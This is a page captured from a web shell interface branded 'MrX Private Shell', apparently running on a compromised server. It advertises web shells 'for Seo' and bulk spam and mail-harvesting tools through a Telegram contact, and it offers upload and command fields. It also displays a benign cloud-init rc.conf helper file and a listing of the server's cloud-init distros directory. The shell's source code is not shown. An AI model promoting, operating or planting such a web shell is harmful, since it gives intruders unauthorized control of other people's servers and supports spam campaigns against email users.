__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# This file is part of cloud-init. See LICENSE file for license information.

import shlex

from cloudinit import util

# On NetBSD, /etc/rc.conf comes with a if block:
#   if [ -r /etc/defaults/rc.conf ]; then
# as a consequence, the file is not a regular key/value list
# anymore and we cannot use cloudinit.distros.parsers.sys_conf
# The module comes with a more naive parser, but is able to
# preserve these if blocks.


def _unquote(value):
    if value[0] == value[-1] and value[0] in ['"', "'"]:
        return value[1:-1]
    return value


def get_rc_config_value(key, fn="/etc/rc.conf"):
    key_prefix = "{}=".format(key)
    for line in util.load_text_file(fn).splitlines():
        if line.startswith(key_prefix):
            value = line.replace(key_prefix, "")
            return _unquote(value)


def set_rc_config_value(key, value, fn="/etc/rc.conf"):
    lines = []
    done = False
    value = shlex.quote(value)
    original_content = util.load_text_file(fn)
    for line in original_content.splitlines():
        if "=" in line:
            k, v = line.split("=", 1)
            if k == key:
                v = value
                done = True
            lines.append("=".join([k, v]))
        else:
            lines.append(line)
    if not done:
        lines.append("=".join([key, value]))
    new_content = "\n".join(lines) + "\n"
    if new_content != original_content:
        util.write_file(fn, new_content)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
package_management Folder 0755
parsers Folder 0755
OpenCloudOS.py File 277 B 0644
TencentOS.py File 277 B 0644
__init__.py File 65.67 KB 0644
almalinux.py File 151 B 0644
alpine.py File 24.35 KB 0644
amazon.py File 907 B 0644
aosc.py File 4.38 KB 0644
arch.py File 4.92 KB 0644
azurelinux.py File 2.35 KB 0644
bsd.py File 6.34 KB 0644
bsd_utils.py File 1.41 KB 0644
centos.py File 151 B 0644
cloudlinux.py File 151 B 0644
cos.py File 247 B 0644
debian.py File 10.6 KB 0644
dragonflybsd.py File 230 B 0644
eurolinux.py File 151 B 0644
fedora.py File 437 B 0644
freebsd.py File 8.53 KB 0644
gentoo.py File 4.87 KB 0644
mariner.py File 1.7 KB 0644
miraclelinux.py File 151 B 0644
netbsd.py File 5.51 KB 0644
networking.py File 10.81 KB 0644
openbsd.py File 2.37 KB 0644
openeuler.py File 275 B 0644
openmandriva.py File 237 B 0644
opensuse-leap.py File 247 B 0644
opensuse-microos.py File 247 B 0644
opensuse-tumbleweed.py File 247 B 0644
opensuse.py File 9.96 KB 0644
photon.py File 5.36 KB 0644
rhel.py File 7.98 KB 0644
rhel_util.py File 1.4 KB 0644
rocky.py File 151 B 0644
sle-micro.py File 247 B 0644
sle_hpc.py File 247 B 0644
sles.py File 247 B 0644
suse.py File 81 B 0644
ubuntu.py File 2.32 KB 0644
ug_util.py File 9.77 KB 0644
virtuozzo.py File 151 B 0644
Filemanager